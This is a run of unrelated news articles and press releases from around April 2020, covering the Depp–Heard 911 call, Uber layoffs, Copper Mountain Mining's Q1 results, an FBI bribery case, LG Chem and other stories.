forward-looking statements whether as a result of new information, future events or otherwise, except as required by law. To view the source version of this press release, please visit https://www.newsfilecorp.com/release/54998 The record of 911 call Amber Heard's friend reportedly made during the massive fight she had with Johnny Depp back in 2016 was released on Monday. Both camps said that the call just boosted their case against each other. For Amber Heard, it meant that the abuse took place. For Johnny Depp, it meant that the abuse was a hoax, and probably the call too. The recording, retrieved and posted by the Daily Mail UK, has a timestamp of 8:30 PM, May 21, 2016. This was the reportedly the night that Johnny Depp hit Amber Heard repeatedly and nearly killed her by doing all sorts of evil things. Allegedly, Depp ripped out Heard's hair, chocked her, and nearly suffocated the life out of her. On the recording of the 911 call, a female voice can be heard saying that an assault was happening on the home that the celebrity couple shared. "Hi, I need to report an assault right now happening at 849 Broadway at the Eastern building; it's penthouse three," the female caller could be heard saying. The called requested to be anonymous. She also said that Amber called her to say that Depp was physically assaulting her. She also said to send somebody up to the house. On Heard's part, this is enough to show that the abuse happened. After all, why call somebody - especially the authorities - to help if there is no violence taking place? However, Depp's camp shows this as evidence that Heard is lying. Depp, 56, has long denied assaulting the "Aquaman" actress. His lawyers now say the 911 call reveals reason to think he is telling the truth. First, they said that the female voice on the recording clearly does not belong to iO Tillett Wright, a guy. He is a longtime friend of Heard who claimed to be the 911 caller. In addition, the 911 call was documented in police logs to have taken place at around 10 PM, not earlier. Both of these signaled that Heard planned it all, with the help of her friends. They could be setting up the "Pirates of the Caribbean" star after all. "Quite simply this was an ambush, a hoax. They set Mr. Depp up by calling the cops but the first attempt didn't do the trick," Adam Waldman told Daily Mail. Naturally, Heard's camp dismissed these new accusations as mere fantasies. "Mr. Depp's representations about the 911 calls on the night of May 21, 2016 are false, and Mr. Depp and his lawyers should know better," said Roberta Kaplan, Heard's lawyer. Moreover, Tillet Wright's lawyer claimed that his client truly has called the cops from New York and has asked for a friend to also contact 911. Therefore, the differences in voices can already be explained, and probably the misaligned times as well. Amber Heard and Johnny Depp are involved in an ongoing bloody battle to prove domestic violence and assert defamation. The 911 call recording is part of the evidence in the $50 million defamation lawsuit that Depp filed against Heard in Virginia. In 2018, Depp felt personally attacked by what Heard wrote for a Washington Post op-ed on her experience as a victim of domestic violence. Even though she did not state Depp's name, Depp has strong reasons to believe that she's pertaining to him. Heard did not take the suit sitting down. She responded to Depp's lawsuit just in April this year, giving all the gory details of she was abused by the actor. Meanwhile, the actor recently joined the world of social media, Instagram in particular. It sent out a strong statement that he believes people now mostly believe that he is innocent. Otherwise, why let himself be so open in a platform where he can be targeted? READ MORE: 'Creepy' Amber Heard Makes Girlfriend Dress Like Johnny Depp -- PROOF Here! China News on Women Sorry, the page you requested was not found. If you're having trouble locating a destination on Womenofchina.cn, try visiting the Womenofchina Home page Ride-hailing leader Uber, which had already lost money hand over fist even before the shelter-in-place orders sent its business plunging, is considering laying off as much as a fifth of its workforce about 5,400 people, The Information reported on Tuesday. As you would expect, the company is looking at every possible scenario to ensure we get to the other side of this crisis in a stronger position than ever, the San Francisco company said in a statement. Uber has about 27,000 employees worldwide, with roughly a third of them in San Francisco, where it is headquartered. Those figures do not include its ride-hail drivers, whom the company considers independent contractors. The layoffs could save it about $1 billion a year, The Information said. Ubers Careers website no longer shows any open positions. A Chronicle analysis of consumer spending data from Second Measure, which analyzes billions of anonymized credit card, debit card and bank transactions to track sales at individual merchants, showed that Ubers core ride business was down 90% compared with a year ago in San Francisco and four neighboring counties (San Mateo, Marin, Alameda and Contra Costa) and down 85% nationwide. Its Uber Eats restaurant delivery division saw sales spike, but it accounts for only about a fifth of Ubers gross bookings. Uber also said in a Securities and Exchange Commission filing Tuesday that Thuan Pham, chief technology officer and Ubers longest-serving executive, would resign effective May 16. Pham was among the last remaining executives hired by co-founder Travis Kalanick, who was forced to resign from his role as CEO in 2017. While the work is never done, I feel comfortable hanging up my hat at a time when the Uber engineering team is at peak productivity, we have built robust system scale and stability, and are well prepared to face the future, Pham said in a statement included in the filing. This has been a labor of love for me, and I am so proud of what we have done as a team. Air Quality Tracker Check levels down to the neighborhood Ratings for the Bay Area and California, updated every 10 minutes Uber, once the worlds most valuable startup, went public last May in a highly anticipated offering but its stock quickly sagged. It closed Tuesday at $30.12, down a third from its $45 IPO price. Uber had already cut about 1,000 jobs as of October, as it tried to assure Wall Street that it had a path to profitability, the New York Times reported. The Information said Lyft, Ubers biggest rival in the American ride-hailing market, was likely to experience similar cuts, citing unnamed sources. Lyft, also of San Francisco, declined to comment. Carolyn Said is a San Francisco Chronicle staff writer. Email: csaid@sfchronicle.com Twitter: @csaid Copper Mountain Mining Announces Q1 2020 Financial Results Posted by Publisher Internet Copper Mountain Mining Corporation (TSX: CMMC | ASX:C6C) (the ?Company? or ?Copper Mountain? https://www.commodity-tv.com/play/copper-mountain-mining-q4-and-full-year-2019-numbers-published/ ) announces first quarter 2020 financial and operating results.? All currency is in Canadian dollars, unless otherwise stated.? All results are reported on a 100% basis.? The Company?s Financial Statements and Management Discussion & Analysis (?MD&A?) are available at www.CuMtn.com and www.sedar.com.? HIGHLIGHTS Implemented revised mine plan on March 10th in reaction to the global COVID-19 pandemic with the objective of maintaining solid positive margins and cash flow. During the quarter the Company and Mitsubishi Materials Corporation reached an agreement to extend the maturity of the funding advances received to date and shown as a related party current liability to a longer-term related party debt due June 30, 2023. This has the effect of improving the Company?s working capital by the same $135.7 million. Cash and cash equivalents at the end of the first quarter was $36.2 million. Cash flow from operations for the first quarter of 2020 was $16.3 million. Loss per share of $0.17 for the first quarter of 2020 was primarily due to the inclusion of a non-cash unrealized foreign exchange loss equating to $0.14 on a per share basis related to the Company?s debt that is denominated in US dollars. On an adjusted basis, earnings per share for Q1 2020 was $0.01. Revenue for the first quarter of 2020 was $49.6 million, from the sale of 17.9 million pounds of copper, 6,364 ounces of gold and 78,572 ounces of silver, net of pricing adjustments. Production for the first quarter of 2020 was 21.8 million pounds of copper equivalent (comprised of 17.5 million pounds of copper, 6,139 ounces of gold and 80,016 ounces of silver). For the first quarter of 2020 C1 cash costs per pound of copper produced was US$2.01, all in sustaining cost (AISC) per pound of copper was US$2.14. ?The most important highlight is that we have had no confirmed or presumptive cases of the COVID-19 virus at any of our operations or offices and the Copper Mountain mine is operating normally under COVID-19 protocols,? commented Gil Clausen, Copper Mountain?s President and CEO. ?Our top priority is maintaining the health and safety of our employees and local communities.? Mr. Clausen added, ?We rapidly responded to the potential market impacts of COVID-19 in early March with our announcement of a revised mine plan in light of copper price uncertainty. With these first quarter results we remain comfortable with our production guidance of 70 to 75 million pounds of copper for 2020.? While this mine plan has now been fully implemented and the Company is efficaciously reducing expenditures, unit costs remained higher in the early part of the quarter as we were still operating under the previous mine plan. However, further cost reductions are expected through lower diesel fuel costs and the benefits of the BC Hydro power cost deferral program, which allows for the deferral of a major portion of its power costs. With the reduced Canadian dollar to U.S. dollar exchange rate, we are reiterating our all-in cost guidance of US$2.20 to $2.35 per pound for the year announced on March 10th.? As announced on March 10th, the Company implemented a revised mine plan in reaction to the global COVID-19 pandemic and the resulting lower copper price environment. The focus of the mine plan is to maintain positive margins and cash flow, which resulted in the deferral of capital related to the installation of Ball Mill #3, resequencing short term production to lower cost mining phases in order to reduce operating costs, and rescheduling the higher grade ore in pit #3 scheduled for mining in 2020 to 2021 in order to better match higher metal prices in the future. Notably, the revised mine plan and the associated cost benefits started to come into effect in March. In Q1 2020, the Copper Mountain Mine produced 17.5 million pounds of copper, 6,139 ounces of gold, and 80,016 ounces of silver compared to 18.6 million pounds of copper, 7,127 ounces of gold, and 62,280 ounces of silver in Q1 2019.? Production was lower in Q1 2020 compared to Q1 2019 as a result of processing a greater percentage of ore in Q1 2020 from ore domain areas that are made up of finer grained ore that results in lower recovery.? Copper recovery was 75.3% in Q1 2020 as compared to 81.6% in Q1 2019. The Company continues to mine in the finer grained ore domains until the end of Q2 2020, following which recovery is expected to improve for the remainder of 2020. During the quarter, the mine processed a total of 3.5 million tonnes of ore at an average feed grade of 0.30% Cu. ?Copper grades for Q1 2020 were 2% higher than Q1 2019 with grade improvements expected to improve in the second half of 2020.? C1 cash cost per pound of copper produced for Q1 2020 was US$2.01, as compared to US $1.77 in Q1 2019.? The increase in cost per pound in Q1 2020 was primarily the result of decreased production in Q1 2020. In addition, the Company capitalized $6.2 million more of stripping costs in Q1 2019 compared to Q1 2020. ?All-in sustaining costs per pound of copper produced (AISC) for Q1 2020 of US$2.14 was higher than Q1 2019 primarily as a result of producing fewer pounds of copper in Q1 2020, and marginally higher sustaining capital, lease and applicable administration expenditures in Q1 2020 than incurred in Q1 2019.?? Total all-in costs per pound of copper produced (AIC), net of credits, for Q1 2020 was US$2.47 as compared to US$2.44 for Q1 2019. Adding together sustaining capital, lease and applicable administration expenditures, deferred stripping and low-grade stockpile mining costs the total all-in costs for Q1 2020 was $58.1 million as compared to $60.5 million in Q1 2019 and the slight decrease over the prior comparable period is a result of a higher gold price which produced $2 million more in precious metal credit during Q1 2020 as compared to Q1 2019. ?The consistency in all-in costs over the past quarters demonstrates the consistency of the operation at the Copper Mountain Mine quarter-after-quarter, with cost variances on a unit of copper basis primarily impacted by copper grade and recovery fluctuations.? Subsequent to the implementation of the revised mine plan in March and as cost reduction initiatives continue to come into effect, the Company expects to see all-in costs to decrease throughout the year. ? In Q1 2020, revenue was $49.6 million, net of pricing adjustments and treatment charges, and is based on the sale of 17.9 million pounds of copper, 6,364 ounces of gold, and 78,572 ounces of silver and on an average realized copper price of US$2.58 per pound.? Lower revenue is primarily a result of the $19.1 million negative mark to market and final adjustment from provisional pricing on concentrate sales in Q1 2020, as compared to a $9.9 million positive mark to market and final adjustment for Q1 2019, a differential of approximately $29 million, in addition to a 9% lower realized copper price and 8% lower copper sales and 9% lower gold sales in the period.?? Cost of sales in Q1 2020 was $64.5 million as compared to $63.6 million for Q1 2019.? Despite a $4.6 million reduction in site costs, there was a marginal increase year over year, as Q1 2019 cost of sales was net of $13.6 million of deferred stripping costs, while Q1 2020 cost of sales was net of only $7.4 million of deferred stripping costs.????? The Company reported a gross loss of $14.9 million and a net loss of $43.5 million for Q1 2020, compared to $23.3?million and net income of $17.8?million, respectively, in Q1 2019.? The variance in the net loss for Q1 2020, as compared to the net earnings for Q1 2019, was a result of several items including: Revenue in Q1 2020 included a negative mark to market adjustment on concentrate sales compared to a positive mark to market adjustment in Q1 2019, as discussed above; Revenue in Q1 2020 was further affected by an 8% decrease in copper sales and a 9% decrease in gold sales when compared to Q1 2019; and, The inclusion of a non-cash unrealized foreign exchange loss of $26.9 million as compared to a non-cash unrealized foreign exchange gain of $6.1 million in Q1 2019, a differential of approximately $33 million, which was primarily related to the Company?s debt that is denominated in US dollars. On an adjusted basis, the Company recorded net earnings of $1.4 million for Q1 2020 compared to $6.0 million in Q1 2019. PROJECT DEVELOPMENT UPDATE Copper Mountain Mill Expansion The Company has continued with the first stage of the expansion in the first quarter, which includes the installation of Direct Flotation Reactors (DFRs). The installation of the DFRs will increase the efficiency and the capacity of the current cleaner circuit, which is expected to increase copper concentrate grade from about 25% to 28%, resulting in lower concentrate transportation, smelting and refining costs.? The installation of the DFRs is a low capital, high return project, and the remaining capital required to complete the installation of the DFRs is approximately US$2.3 million. Civil, structural, mechanical and piping engineering has been completed.? The feed system splitter box with structural steel support has been installed and construction of the remaining components of the project are progressing on schedule and as planned.? The DFR project is expected to be completed by early Q3 2020.? With the developments of COVID-19 and the associated drop in the copper price, the Company deferred all major capital spend and therefore halted work on the second stage of the Copper Mountain Ball Mill expansion plans, which consisted of installing the third ball mill, in order to preserve cash.? The Ball Mill expansion is designed to increase throughput to 45,000 tonnes per day from 40,000 tonnes per day and improve copper recovery as a result of being able to achieve a finer grind of ore.? Work has been reduced to completing commitments on the long lead items already ordered at the end of last year, which will allow the project to restart in an efficient manner once copper markets recover.?? Eva Copper Project During the quarter, the Company continued with work on updating the Eva Copper 2020 Bankable Feasibility Study which is planned for release shortly.? This will include a new mine plan that incorporates the new Blackard deposit as well as flowsheet optimizations, production, and cost improvements. OUTLOOK Copper production in 2020 is expected to be between 70 to 75 million pounds of copper based on the Company?s revised plan for 2020 in response to the COVID-19 pandemic.? Copper production is expected to be more heavily weighted to the second half of the year, as a result of higher grades and as the mine begins to mine higher recovery domain areas. The Company is focused on unit cost reduction in the current commodity price environment to protect its margins and affirms that all-in costs are expected to be between US$2.20 to US$2.35 per pound.? The Company remains on track to achieve its most recent production and all-in cost guidance, as announced on March 10th, despite the impact of the global COVID-19 pandemic. Q1 2020 FINANCIAL AND OPERATING RESULTS CONFERENCE CALL AND WEBCAST Copper Mountain will host a conference call on Monday, April 27, 2020 at 7:30 am (Pacific Time) for senior management to discuss the first quarter 2020 results.? Dial-in information: Toronto and international: 647-427-7450 North America (toll-free): 1-888-231-8191 To participate in the webcast live via computer go to: https://produceredition.webcasts.com/starthere.jsp?ei=1300630&tp_key=a184b3c730 Replay Call Information Toronto and international: 416-849-0833, Passcode: 5958764 North America (toll-free): 1-855-859-2056, Passcode: 5958764 The conference call replay will be available until 8:59 pm (Pacific Time) on May 4, 2020. An archive of the audio webcast will also be available on the company?s website at http://www.cumtn.com. About Copper Mountain Mining Corporation Copper Mountain?s flagship asset is the 75% owned Copper Mountain mine located in southern British Columbia near the town of Princeton. The Copper Mountain mine currently produces approximately 90 million pounds of copper equivalent, with average annual production expected to increase to approximately 120 million pounds of copper equivalent.? Copper Mountain also has the permitted, development-stage Eva Copper Project in Queensland, Australia and an extensive 4,000 km2 highly prospective land package in the Mount Isa area. Copper Mountain trades on the Toronto Stock Exchange under the symbol ?CMMC? and Australian Stock Exchange under the symbol ?C6C?. Additional information is available on the Company?s web page at www.CuMtn.com.? On behalf of the Board of COPPER MOUNTAIN MINING CORPORATION ?Gil Clausen?Gil Clausen, P.Eng. President and Chief Executive Officer Cautionary Note Regarding Forward-Looking Statements This news release may contain forward-looking statements and forward-looking information (together, ?forward-looking statements?) within the meaning of applicable securities laws.? All statements, other than statements of historical facts, are forward-looking statements.? Generally, forward-looking statements can be identified by the use of terminology such as ?plans?, ?expects?, ?estimates?, ?intends?, ?anticipates?, ?believes? or variations of such words, or statements that certain actions, events or results ?may?, ?could?, ?would?, ?might?, ?occur? or ?be achieved?.? Forward-looking statements involve risks, uncertainties and other factors that could cause actual results, performance and opportunities to differ materially from those implied by such forward-looking statements.? Factors that could cause actual results to differ materially from these forward-looking statements include the successful exploration of the Company?s properties in Canada and Australia, the reliability of the historical data referenced in this press release and risks set out in Copper Mountain?s public documents, including in each management discussion and analysis, filed on SEDAR at www.sedar.com.? Although Copper Mountain believes that the information and assumptions used in preparing the forward-looking statements are reasonable, undue reliance should not be placed on these statements, which only apply as of the date of this news release, and no assurance can be given that such events will occur in the disclosed time frames or at all.? Except where required by applicable law, Copper Mountain disclaims any intention or obligation to update or revise any forward-looking statement, whether as a result of new information, future events or otherwise. The U.S. Air Force Thunderbirds and the U.S. Navy Blue Angels took to the skies over Pennsylvania and New Jersey to honor healthcare workers amidst the coronavirus pandemic on April 28. Philadelphians were able to see the military precision flyers around 2 p.m. as they made several loops around the City of Brotherly Love, giving nods to both the workers at Jefferson Hospital in Center City and the Hospital of the University of Pennsylvania in University City. PennLive was on a rooftop parking lot at the Acme on South St. to grab video of the flyover. You can see our footage in the video at the top of this article. Cant see the video? Watch it on YouTube. The planes used in the flyover were F-16C/D Fighting Falcons and F-18C/D Hornets. The aerial displays have been dubbed America Strong and people were encouraged to use the hashtag #AmericaStrong to share their photos and video of the event. We are truly excited to take to the skies with our Navy counterparts for a nation-wide tribute to the men and women keeping our communities safe. said U.S. Air Force Lt. Col. John Caldwell, Thunderbird 1 and mission commander for the flyover in a press release. We hope to give Americans a touching display of American resolve that honors those serving on the frontline of our fight with COVID-19. Thanks for visiting PennLive. Quality local journalism has never been more important. We need your support. Not a subscriber yet? Please consider supporting our work. Samantha Benavides, a student at Cleveland State Community College, is one of 50 students chosen to receive the prestigious Jack Kent Cooke Undergraduate Transfer Scholarship. This highly competitive national scholarship will provide Benavides with up to $40,000 a year to complete her bachelors degree."In addition to financial support, new Cooke Transfer Scholars will receive comprehensive educational advising from the Jack Kent Cooke Foundation to guide them through the process of transitioning to a four-year college and preparing for their careers. Scholars will additionally receive opportunities for internships, study abroad and graduate school funding, as well as connection to a thriving network of over 2,700 fellow Cooke Scholars and alumni," officials said.I feel blessed and extremely proud to be one of 50 students across the nation to receive such a prestigious scholarship, stated Ms.Benavides. During my time at CSCC, I held two jobs and still tried to remain active in my college and education. This scholarship means everything to me because it takes the financial burden off of me and will enable me to be a better, more focused student.In addition to serving as president for the Omega Omicron Chapter of CSCCs Phi Theta Kappa, Ms. Benavides was a leader on the CSCC Debate Team, played clarinet in the Cleveland Pops Band and attended the Tennessee Honors in Action Academy. As captain of the debate team, she won two outstanding speaker awards, one team award, one best college debate award and has been invited to compete at the Novice Nationals Forensic tournament for two years running.PTK Advisor Kimberly Harrington said, Samanthas skills in balancing her many responsibilities are off the charts. I have so much confidence in what she will achieve as a Cooke Transfer scholar, and I'm thrilled that the Jack Kent Cooke Foundation agreed with me and selected her as a recipient for this award. I'm so proud of all she has done this year leading up to this honor, and I'm excited to see what comes next for her.We know this is a very uncertain time for many students and their families. We remain deeply committed to supporting high-achieving community college students to ensure they have the resources to reach their full academic potential, said Seppy Basili, executive director of the Jack Kent Cooke Foundation. We are excited to welcome this new class of Cooke Transfer Scholars to our community and looking forward to seeing the many amazing things they do as they continue on their transfer journey.Ms. Benavides continued, Cleveland State is likely the most ambitious network of people I have ever met. This is a school that motivates students to be the best. I have made so many friends while being here, and each one of them has a special place in my success. I am a proud alumna of Cleveland State Community College.Ms. Benavides is a graduate of McMinn Central High School and is the daughter of Renay Redfern and Scott Vergano of Etowah. She will graduate from CSCC in July with an associate of arts degree with a Foreign Language Tennessee Transfer Pathway (TTP). Although she is still undecided on which college she will attend after CSCC, she plans to study global affairs and modern foreign languages. Representative image Chinese police have detained two people who contributed to an online archive of censored articles about the coronavirus outbreak, a friend and a family member of one told Reuters on Monday. The two - Chen Mei and Cai Wei - have been out of contact since April 19, when police detained them in Beijing, Chen Kun, Chen Meis brother, told Reuters. Cai was held on charges of picking quarrels and stirring up trouble, on a notice from Chaoyang district police in Beijing, Chen Kun said, an accusation often used against political activists in China. Chen Kun said he did not know what charges, if any, his brother was held on. A third person, Cais girlfriend, surnamed Tang, was held on similar charges, Chen Kun said, although it was not immediately clear if she was directly involved in the archive project. COVID-19 Vaccine Frequently Asked Questions View more How does a vaccine work? A vaccine works by mimicking a natural infection. A vaccine not only induces immune response to protect people from any future COVID-19 infection, but also helps quickly build herd immunity to put an end to the pandemic. Herd immunity occurs when a sufficient percentage of a population becomes immune to a disease, making the spread of disease from person to person unlikely. The good news is that SARS-CoV-2 virus has been fairly stable, which increases the viability of a vaccine. How many types of vaccines are there? There are broadly four types of vaccine one, a vaccine based on the whole virus (this could be either inactivated, or an attenuated [weakened] virus vaccine); two, a non-replicating viral vector vaccine that uses a benign virus as vector that carries the antigen of SARS-CoV; three, nucleic-acid vaccines that have genetic material like DNA and RNA of antigens like spike protein given to a person, helping human cells decode genetic material and produce the vaccine; and four, protein subunit vaccine wherein the recombinant proteins of SARS-COV-2 along with an adjuvant (booster) is given as a vaccine. What does it take to develop a vaccine of this kind? Vaccine development is a long, complex process. Unlike drugs that are given to people with a diseased, vaccines are given to healthy people and also vulnerable sections such as children, pregnant women and the elderly. So rigorous tests are compulsory. History says that the fastest time it took to develop a vaccine is five years, but it usually takes double or sometimes triple that time. View more Show Chens family has not received any formal notice from the police. An officer said only that he was cooperating with an investigation, his brother said. The Chaoyang district police referred a query to Beijing police headquarters, which did not immediately respond to a faxed request from Reuters for comment. Chen Mei, 27, and Cai, who are old friends, were volunteers with a project called Terminus2049, an open-source archive that keeps records of censored articles from Chinese media on Github, a coding platform, Chen Kun said. In recent months, the project has been active in making records of articles on the coronavirus outbreak, which originated in the central city of Wuhan late last year. For a short time after the outbreak started, there was a window of relative openness for Chinas online media to report aggressively on the virus. But that ended in February as censors stepped in to shut WeChat groups, delete social media posts and tighten controls on the domestic media. Many people who are active online, however, still found ways to share information. The articles gathered on Terminus2049 touch on topics that can be seen as sensitive, including when human-to-human transmission of the new coronavirus was discovered. The archive was among those that kept in circulation a profile report on a Wuhan doctor and whistleblower, Ai Fen, which went viral as people translated it in various forms including into Braille, Morse code and even Klingon in a defiance of the censors. Ai was reprimanded in January for sharing information about the outbreak. Chen worked at a non-profit organisation in Beijing and Cai worked at a tech company, said Lucy Qiu, a friend of the detained Chen. Jammu and Kashmir police led by DGP Dilbag Singh on Tuesday (April 28, 2020) expressed their solidarity with fellow policemen, doctors, paramedic staff, municipal workers and other COVID-19 front-line workers. Keeping social distancing norms and other protocols, the policemen attended the Solidarity Sammelan held at PHQ lawns and came in solidarity with the people combating the COVID-19 pandemic in the country. ADGPs, IGPs, SSPs, and other Jammu based government officials participated in the solidarity Sammelan. Doctors, nurses, and other paramedics from Police Hospital Jammu also participated. The officers were holding placards in their hands on different themes including one for Punjab Police SI Harjit Singh whose hand was chopped off while on duty amid the COVID-19 lockdown. J&K police led by DGP J&K Sh Dilbag Singh expressed solidarity with fellow policemen,doctors, paramedic staff,municipal workers and other #Covid19 workers in #Solidarity Sammelan held at PHQ lawns today while observing all the social distancing norms and other protocols. pic.twitter.com/mDt5WAh7D1 J&K Police (@JmuKmrPolice) April 28, 2020 Similar Samellans were held by all the district police and armed police units at their respective locations. Continuing its efforts to reach out to the needy people, Police Station Karan Nagar in J & K distributed ration at Kaka Saraie and Gole Market among the poor and needy while Srinagar police distributed food items among the needy persons at their doorsteps in the SDPO Zakura area. Srinagar police also on receiving information that a pregnant lady residing in the nearby area os under irresistible pain and needs immediate medical attention, SHO Nishat rushed to the spot and took the lady to L.D Hospital for medical treatment. With 48 new cases in 24 hours, the total number of COVID-19 confirmed cases in Jammu and Kashmir surged to 546 as of 5 PM IST on Tuesday while seven people have succumbed to the virus. The gigafactory of electric carmaker Tesla is seen in Shanghai, China, in this file photo, Tuesday. Reuters-Yonhap By Kim Yoo-chul LG Chem said Tuesday it was "closely monitoring" activities by "a number of companies" including Tesla, which aim to develop their own batteries, as this would impact the firm's battery business. "As demand for batteries for electric vehicles (EVs) is rising, some companies inside the battery industry are aiming to develop their own batteries. LG Chem is closely monitoring updates, activities and looming trends in the market we are deeply involved in," the company told investors upon announcing its first-quarter earnings results. LG is the global leader in battery cells and packs, supplying them to the world's leading carmakers. While LG Chem is leading the global EV market, Tesla's entry, if it actually happens, will have a greater impact on the overall battery supply chain management (SCM) given Tesla's ongoing and expected outperformance in terms of profits and sales, in addition to the growing reflection of the change in people's mentality regarding EVs. Tesla CEO Elon Musk earlier outlined his company's plans for battery development for future vehicles and energy sources. Musk stated he will review Tesla's cell chemistry, module, pack and architecture and its manufacturing plan that will detail how it can reach a terawatt-hour per year of battery production. Tesla is currently dependent upon Japan's Panasonic in procuring batteries for its EVs. During the call, LG Chem remained positive on the outlook of its China battery business, thanks to Beijing's recent announcement to extend government subsidies by two years until 2022, as well as multiple local governments offering additional subsidies for EV use and purchases. "LG Chem considers such measures as positive. Recently, vehicles using LG batteries were chosen to receive subsidies from the Chinese government. We are seeing eased discriminatory measures, there, against foreign vehicle original equipment manufacturers," it said. Multiple provincial and municipal governments have responded quickly to Chinese President Xi Jinping's call to stabilize car purchases with local car stimulus policies, according to recent analysis by Fitch Ratings. "In the short term, because of the spread of the COVID-19, LG had to delay the expansion of our factories in China. But LG Chem's plan to expand the battery output to 100 gigawatts per hour by the end of this year and 120 gigawatts per hour next year hasn't been changed." LG Chem's net profit for the first quarter this year was down 83 percent, year-on-year, mostly due to currency-related losses. Net income during the quarter came in at 36.3 billion won or $30 million, while sales rose 7.5 percent year-on-year to 7.11 trillion won. Its battery unit suffered an operating loss of 51.8 billion won on sales of 2.26 trillion won due to new investments in EV batteries and the suspension of plants over the COVID-19 pandemic. The seal of the Federal Bureau of Investigation. (Mandel Ngan / AFP/Getty Images) When a veteran FBI agent was charged last week with taking bribes, one question loomed: Who was the Beverly Hills lawyer, unnamed in the charging documents, who told investigators he gave the agent cash, escorts and other perks for sensitive law enforcement information? Multiple sources identified the lawyer as Edgar Sargsyan, a onetime business partner of Lev Aslan Dermen, a petroleum magnate and reputed organized crime figure. Sargsyan couldnt be reached for comment and his attorneys didnt respond to requests for comment. In court papers filed Tuesday, Sargsyan agreed to plead guilty to five felony counts. He admitted plying agents from the FBI and Homeland Security Investigations with cash, excursions to Las Vegas and other perks, and receiving inside information and illegal favors in return. He acknowledged misleading investigators about the bribes. And he said he perpetrated a bank fraud, known as a bust-out, by taking out credit cards in the names of visa holders who had left the country and charging $940,000 to the cards at businesses he controlled. Now in the process of declaring bankruptcy, Sargsyan once led a sumptuous lifestyle: a law office on Rodeo Drive, a mansion in Calabasas and a Rolls Royce Phantom to ferry him between the two, according to a person who knew him well and requested anonymity for fear of retaliation. Sargsyan oversaw Dermens hard-money lending operation, SBK Holdings USA, but the two are now bitter enemies. Sargsyan cooperated with federal authorities investigating Dermens role in a $511-million tax credit fraud, according to court filings in Dermens case. Convicted last month of 10 felony counts, Dermen faces what could amount to a life sentence. We knew Edgar was committing fraud when we sued him, said Mark Geragos, Dermens longtime attorney. Dermen filed the suit in 2016, alleging Sargsyan stole tens of millions of dollars in property and a private jet. This is just the final nail in the coffin." Story continues Dermen was close with two law enforcement officers: John Saro Balian, a detective for the Glendale Police Department, and Felix Cisneros Jr., a Homeland Security Investigations agent who worked undercover narcotics operations. Balian and Cisneros were convicted of public corruption offenses and sentenced to 21 and 12 months, respectively, in prison. The FBI agent charged last week, Babak Broumand, ran Cisneros' and Dermens names in restricted law enforcement databases, according to an affidavit supporting charges against Broumand. The queries showed both men were the subjects of ongoing investigations, the affidavit said. Broumand retired last year after a 20-year career at the bureau. Prior to his departure, he was assigned to the FBI office in San Francisco, trusted with recruiting sources for investigations into national security matters. It was unclear from court records whether he'd retained an attorney. Microsoft Corp said on Monday that it has signed a five-year agreement with the Coca-Cola Company to standardize its business operations on Microsofts cloud and deliver new digital experiences to engage with employees and customers. With this agreement, the companies will utilize the capabilities of Microsoft Azure, Dynamics 365 and Microsoft 365. These solutions will help The Coca-Cola Company gain new insights from data across the enterprise, enabling a 360-degree view of the business, and providing enhanced customer and employee experiences. At The Coca-Cola Company, innovation and growth are key pillars of our business, said Barry Simpson, senior vice president and chief information and integrated services officer of The Coca-Cola Company. This partnership with Microsoft allows us to really step change our employee experience through replacing previously disparate and fragmented systems. These platforms allow us to deliver relevant, personalized experiences as we network our organization. Coca-Cola is a pioneer and forward-thinking leader in its industry, said Judson Althoff, executive vice president, Worldwide Commercial Business, Microsoft. Today, the company is taking its digital innovation a step further, leveraging Dynamics 365, Microsoft 365 and Azure to better connect people and opportunities through breakthrough productivity and powerful information management that will drive continued business success over the next decade. Building on the goal of empowering employees with a networked way to access information and support, the company has expanded beyond a chat interface and designed a compelling and comprehensive app-based experience available on employee mobile devices. The Coca-Cola Company is also deploying Dynamics 365 Customer Service, the Power Platform and Microsoft Teams to all its employees, updating productivity with the enhanced security that runs across Azure and Microsoft 365 cloud services. Once deployed, new Dynamics 365 AI-driven insights and real-time dashboards will allow call centre managers to monitor performance metrics for overall employee satisfaction scores and benefit from real-time insights into which call topics are driving scores. These investments will also enable The Coca-Cola Company to access the latest innovations in the Dynamics 365 portfolio of applications and expanding capabilities that offer a true 360-degree customer and business view, unifying processes and providing forward-looking intelligence, enabling employees to proactively drive decisions and action. The Coca-Cola Company is also rolling out Microsoft 365 and Microsoft Teams worldwide, equipping employees with a single hub to connect and collaborate across chat, calling, meetings and documents. As a result of the Covid-19 pandemic, The Coca-Cola Company is leveraging Microsofts collaboration technologies to support the increased demand of a largely remote workforce. These technologies are enabling The Coca-Cola Company to host many internal meetings on a global, regional and local scale. TradeArabia News Service "April 13, 2020 Twin roll stroll" by Rafael Cardenas part of a yearlong series documenting L.A. (Rafael Cardenas) The plan was simple: take a photo a day, every day, for a year. For Rafael Cardenas, a Los Angeles photographer known for capturing candid images of life in the city, the plan was a way of staying nimble with his camera a daily looking exercise that also functions as a visual diary. (He posts one image to his website, rafa.la, every evening.) The project is also a way of marking an important personal milestone. Ten years ago, armed with his first professional camera, Cardenas decided he would take pictures in the streets of L.A. every day for a year. Over the 365 days of 2010, he went out every day and didn't return home until he had at least one image he could post. This was how he became a photographer. In the process, he created a collective portrait of the city, its people, its shifting seasons, its changing light and moods. "It's not always about the best picture," he says of the images he places online. "Sometimes it's just the vibe that is hitting me. It's like, 'This is what I'm feeling, so I'll go with this.'" Little did he know when he launched the new series in January that he would record the unspooling of a pandemic. In February, Cardenas, who lives in Boyle Heights, was shooting portraits of everyday Angelenos. By the end of March, he was documenting empty streets, taped-up picnic tables and furtive pedestrians, their faces obscured by masks. "I set out to capture everyday life," he says, "but this is not everyday life." Beyond marking an important professional anniversary, the project is a return to the photographer's creative roots. Cardenas may have began his career with a focus on street photography, chronicling the daily drama of living, but in recent years he's turned his attention to more conceptual projects. For an ongoing series titled "Backyard Tableaux," which he showed at the Vincent Price Art Museum in 2018, he captured the intimate gatherings that take place in backyards, primarily on L.A.'s Eastside. Story continues Another project, "Landscapes & Land Dwellers," connected people with place in diptychs that juxtaposed photographs of people on the street with broad images of landscape. That series was shown at La Plaza de Cultura y Artes in downtown L.A., also in 2018. This spring, the Los Angeles County Museum of Art acquired four of his prints. Street photography, however, is a form he's always happy to return to: "This is back to basics, 100%," he says. "It's just me and the camera and no preconceived ideas about what I'm going to capture." The project has also kept him going creatively. Cardenas earns a living primarily as an event photographer. That work has dried up as safer-at-home orders have lingered. Instead, he has focused his energies on selling prints and working on his photo-a-day project. In mid-April, the series caught the eye of curators at San Francisco's Tenderloin Museum, which featured a few images in an evolving 